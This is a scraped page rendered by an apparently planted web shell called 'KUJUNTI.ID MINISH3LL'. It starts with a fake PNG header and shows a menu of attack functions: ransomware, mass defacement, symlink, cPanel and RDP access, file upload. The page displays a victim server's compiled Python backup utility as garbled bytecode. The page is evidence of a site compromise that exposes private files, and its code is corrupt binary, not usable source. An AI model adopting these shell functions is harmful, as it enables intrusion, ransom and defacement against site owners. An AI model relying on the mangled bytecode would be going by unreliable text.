\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/backup_utils.cpython-310.pyc


o

34�gV�@s*ddlZddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
ddlmZmZddlmZe�e�ZddlmZzddlmZmZdZWn*ey�zddlmZmZdZWney~dZdZd	Ze�d
�YnwYnwdd�Zd
d�Z dd�Z!ddd�Z"dS)�N)�datetime)�DatabaseConnection�
StorageTarget�	BackupJob�	BackupLog)�upload_to_storage�get_storage_space)�db)�format_size)�encrypt_file�decrypt_fileTFuNGPG şifreleme modülleri yüklenemedi. Şifreleme devre dışı bırakıldı.c
Cs�z?|dvrddl}|j|||||dd�}|��WdS|dkr5ddl}|j|||||dd�}|��WdSt�d	|���Wd
Styh}	zt�d|�d|�d
|�d|�dt|	���
�WYd}	~	d
Sd}	~	ww)a�
    Test connection to a database server.
    
    Args:
        db_type (str): Database type (mysql, mariadb, postgresql)
        host (str): Database host
        port (int): Database port
        username (str): Database username
        password (str): Database password
        database (str): Database name
        
    Returns:
        bool: True if connection successful, False otherwise
    ��mysql�mariadbrN�)�host�port�user�password�database�connect_timeoutT�
postgresql)rrrr�dbnamer�Unsupported database type: FzDatabase connection error for � �:�/z: )�pymysql�connect�close�psycopg2�logger�error�	Exception�str)
�db_typerr�usernamerrr�connr �e�r)�>/var/www/html/yedekledb24/DatabaseBackupMaster/backup_utils.py�test_database_connection&s@��,��r+c
Cs�z�tjdd�}|�|j���|��dd|j��d|j��d|j��d|j��dd	d
ddd
dddddd|j	d|g}|d}t
j|dd�}t�
|j�|jdkr^t�d|j�����WdSzIt|d��(}ddl}|�|d��}t�||�Wd�n1s�wYWd�n1s�wYt�|�t�||�t�d�WWdSty�}	zt�dt|	����WYd}	~	WdSd}	~	wwty�}	zt�dt|	����WYd}	~	dSd}	~	ww) a+
    Perform MySQL/MariaDB backup using mysqldump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    F)�delete�	mysqldumpz--host=z--port=z--user=z--password=z--single-transactionz--quickz
--routinesz
--triggersz--eventsz--add-drop-tablez--add-drop-databasez--create-optionsz--extended-insertz
--compressz--max-allowed-packet=1Gz--databasesz-r�.gzT)�capture_outputrzmysqldump error: �rbN�wbz9Compressed MySQL backup file, reducing size significantlyz Could not compress backup file: zMySQL backup error: )�tempfile�NamedTemporaryFile�writer�encoderrrr&r�
subprocess�run�os�unlink�name�
returncoder!r"�stderr�decode�open�gzip�shutil�copyfileobj�remove�move�infor#�warningr$)
�db_conn�	temp_file�pwd_file�cmd�compressed_file�result�f_inr?�f_outr(r)r)r*�perform_mysql_backupUsf



�
���
�����rNc	
CsLz�tj��}|j|d<t|j�|d<|j|d<|j|d<|j|d<d}|j	rOd|j	�d�}tj
�|�rB|}t�
d	|j	�d
|���n
t�d|j	�d|�d
��|dddddddd|g	}tj||dd�}|jdkr�|j��}t�d|���d|vr�d|vr�t�d�WdSWdSty�}zt�dt|����WYd}~dSd}~ww) a&
    Perform PostgreSQL backup using pg_dump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    �PGHOST�PGPORT�PGUSER�
PGPASSWORD�
PGDATABASE�pg_dumpz/usr/lib/postgresql/z/bin/pg_dumpzUsing PostgreSQL z specific pg_dump: zPostgreSQL z pg_dump not found at z, falling back to defaultz--format=customz--blobsz--createz--cleanz--if-existsz	--verbosez--compress=9z--file=T)�envr/rzpg_dump error: zserver versionzclient versionz[PostgreSQL version compatibility issue detected. Please set the correct PostgreSQL version.FzPostgreSQL backup error: N)r8�environ�copyrr$rr&rr�
pg_version�path�existsr!rDrEr6r7r;r<r=r"r#)	rFrGrU�pg_dump_cmd�version_specific_cmdrIrK�	error_msgr(r)r)r*�perform_postgresql_backup�sJ




�


��r^c"
Cs�	t��}|j}t|jdd�}�zst�d|���tj�|j	�}|sld|��}t�
|�||_tj
�|�tj
��|rizddlm}||j�WWd	Styh}zt�
dt|����WYd}~Wd	Sd}~wwWd	Stj�|j�}	|	s�d
|��}t�
|�||_tj
�|�tj
��|r�zddlm}||j�WWd	Sty�}zt�
dt|����WYd}~Wd	Sd}~wwWd	Sd}
z(t|	�\}}|dkr�||dnd}
|
dkr�d
|	j�d|
d�d�}
t�|
�Wnt�y	}zdt|���}
t�|
�WYd}~nd}~wwt���d�}|jdv�r1|j�d|�d�}|jdk�r0d|j�d|�d�}n	|j�d|�d�}tj�t �!�|�}d	}|jdv�rQt"||�}nZ|jdk�r]t#||�}nNd|j��}t�
|�||_tj
�|�tj
��|�r�zddlm}||j�WWd	St�y�}zt�
dt|����WYd}~Wd	Sd}~wwWd	S|�s�d}t�
|�||_tj
�|�tj
��|�r�zddlm}||j�WWd	St�y�}zt�
dt|����WYd}~Wd	Sd}~wwWd	Stj�$|�}d}d}d	}t%|d��r�|j&�r�zztj�$|�}t�d|j'���t(j)||j'd�}|�r�zt�*|�WnY|}|j'd k�rB|d!7}n|j'd"k�rM|d#7}n
|j'd$k�rW|d%7}tj�$|�}|||d}d&|d�d'�}d(}|}t�d)t+|��d*�d+t+|��d,|d�d-��Wnt�y�}zt�
d.t|����d/}WYd}~nd}~wwd}d}d	}t,�rWt%|d0��rW|j-�rWz||j.d1k�r�|j/�r�t0||j/|d2d3�}d4}d(}nF|j.d5k�r|j1�rdd6l2m3}|j�|j1�}|�r|j4�rt0||j4g|d2d7�}d8|j�d9�}d(}nt�d:|�d;��n	t�d<|�d;��|�r6zt�*|�WnY|}|d27}tj�$|�}Wnt�yV}zt�
d=t|����d>}WYd}~nd}~wwz�zHt5|	||�}d?|_6g} | �7d@�|�rq| �7|�|�ry| �7|�|
�r�| �7|
�dA�| �|_||_8||_9t%|dB��r�||_:|�r�|j.nd|_.Wnlt�y}z_dCt|���}t�
|�||_tj
�|�tj
��|�r�z
ddlm}||j�Wnt�y�}zt�
dt|����WYd}~nd}~wwWYd}~Wz	t�*|�WWd	SYWd	Sd}~wwWzt�*|�WnYn
zt�*|�WwYwt�;�|_<t��|}!|!|_=tj
�|�tj
��t�dD|�dE|!dF�dG��|�r�zddlm}||j�WWd(St�y}zt�
dt|����WYd}~Wd(Sd}~wwWd(St�y�}zRdD|�dHt|���}t�
|�||_tj
�|�tj
��|�r�z
ddlm}||j�Wnt�y�}zt�
dt|����WYd}~nd}~wwWYd}~d	Sd}~ww)Iz�
    Run a backup job.
    
    Args:
        job (BackupJob): Backup job to run
        send_email (bool): Whether to send email notification
        
    Returns:
        bool: True if backup successful, False otherwise
    �failed)�job_id�statuszStarting backup job: z&Database connection not found for job r)�send_backup_notificationz#Failed to send email notification: NFz!Storage target not found for job �d�
zWarning: Storage target z has less than 10% free space (z.1fz% remaining)zCould not check storage space: z
%Y%m%d_%H%M%Sr
�_z.sqlr�mariadb_z.dumprrzBackup creation failed��compress_backupz"Applying compression with format: )�compression_type�zipz.zipr?r.ztar.gzz.tar.gzu (Sıkıştırma: z%)Tz"Compression successful. Original: z, zCompressed: z	, Ratio: �%zFailed to compress backup: u (Sıkıştırma BAŞARISIZ)�encrypt_backup�	symmetricz.gpg)�
passphrase�output_fileu" (GPG ile şifrelenmiş, simetrik)�
asymmetric)�
EncryptionKey)�
recipientsrou" (GPG ile şifrelenmiş, anahtar: �)z!Encryption key not found for job z, skipping encryptionz)Invalid encryption configuration for job zFailed to encrypt backup: u0 (Şifreleme BAŞARISIZ - şifrelenmemiş yedek)�successzBackup completed successfullyz. �	encryptedzFailed to upload backup: zBackup job z completed successfully in z.2fz secondsz	 failed: )>�timer:r�idr!rDr�query�get�database_idr"�messager	�session�add�commit�email_utilsrbr#r$r�
storage_idrrEr�now�strftimer%rr8rY�joinr2�
gettempdirrNr^�getsize�hasattrrhri�database_compression�
compress_filerBr
�encryption_supportrl�encryption_type�encryption_passphraser�encryption_key_id�modelsrq�emailrra�append�backup_file�backup_sizeru�utcnow�last_run�duration)"�job�
send_email�
start_time�job_name�
backup_logrF�msgrb�	email_err�storage�storage_warning�
free_space�total_space�percent_freer(�	timestamp�backup_filenamerG�backup_successr�rJ�compression_message�
compressed�
original_size�compressed_size�compression_ratio�encrypted_file�encryption_messagerurq�key�remote_path�
message_partsr�r)r)r*�
run_backup�s


���


���
����

���

����

���������



�

 ������

���

 ����r�)T)#r8rvr6r2�loggingr�r@r?rr�rrrr�
storage_utilsrr�appr	�	getLogger�__name__r!�utilsr
�encryption_utils_simplifiedrrr��ImportError�encryption_utilsrEr+rNr^r�r)r)r)r*�<module>sB
���/IB

© KUJUNTI.ID